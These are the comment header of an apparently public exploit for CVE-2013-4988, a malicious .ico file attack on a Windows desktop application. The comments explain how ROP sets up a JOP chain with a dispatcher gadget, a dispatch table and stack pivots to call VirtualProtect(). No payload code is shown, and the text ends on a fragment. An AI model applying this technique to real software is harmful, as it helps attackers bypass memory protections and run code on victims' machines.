# Version: 2.6.0.0
# Tested on: Windows 7 Ultimate x64
# CVE: CVE-2013-4988
# Steps: 1. Run script 2. Open application 3. Open maliciousJOP.ico via file -> open dropdown menu
# Payload Length: 1626 bytes
#While this is an older CVE, it is very rare to have a JOP chain available for a binary which is what this exploit attempts to demonstrate.
#Gadgets were found using the JOP ROCKET tool which is available at https://github.com/Bw3ll/JOP_ROCKET
#This exploit utilizes ROP to set up a JOP chain that will perform multiple stack pivots and call VirtualProtect().
#JOP utilizes a dispatcher gadget (#add ecx, dword ptr [eax] #jmp dword ptr [ecx]) to executes gadgets found within the dispatch table.
#The ECX register will hold the address of the dispatch table, which will be modified each time the dispatcher gadget executes.
#After each modification, ECX will point to the address of the next gadget in the JOP chain and "jmp dword ptr [ecx]" executes that gadget.
#Each functional gadget must end in a jmp or call to a register containing the address of the dispatcher gadget.
#In this exploit, ecx is used to hold the address of the dispatch table, and edi is used to hold the dispatcher gadget address.
#The dispatch table is located just after the shellcode in this exploit's payload. The address is loaded into ECX using ROP to programatically generate the correct address..

#### LOAD ADD VALUE PTR INTO EAX ####
#Since the dispatcher gadget uses the instruction "add ecx, dword ptr[eax]" to modify the address of the dispatch table,
#eax must point to a valid location in memory containing the value we want to add to ecx each time the dispatcher executes.
#In this case, eax will point to an address containing the value 0x00000004.

#### LOAD WRITABLE ADDR OFFSET INTO EBX ####
#The gadget used for stack pivoting has an extra instruction (or byte ptr [ebx - 0x781703bb]) that cannot be avoided.
#In order to ensure this instruction does not cause problems, ebx-0x781703bb must point to a writable section of memory so
#that the instruction does not cause an access violation. This section makes sure ebx contains a compatible value.

#to ensure that ebp-0x71 is the correct value for the pointer. This can be seen below.
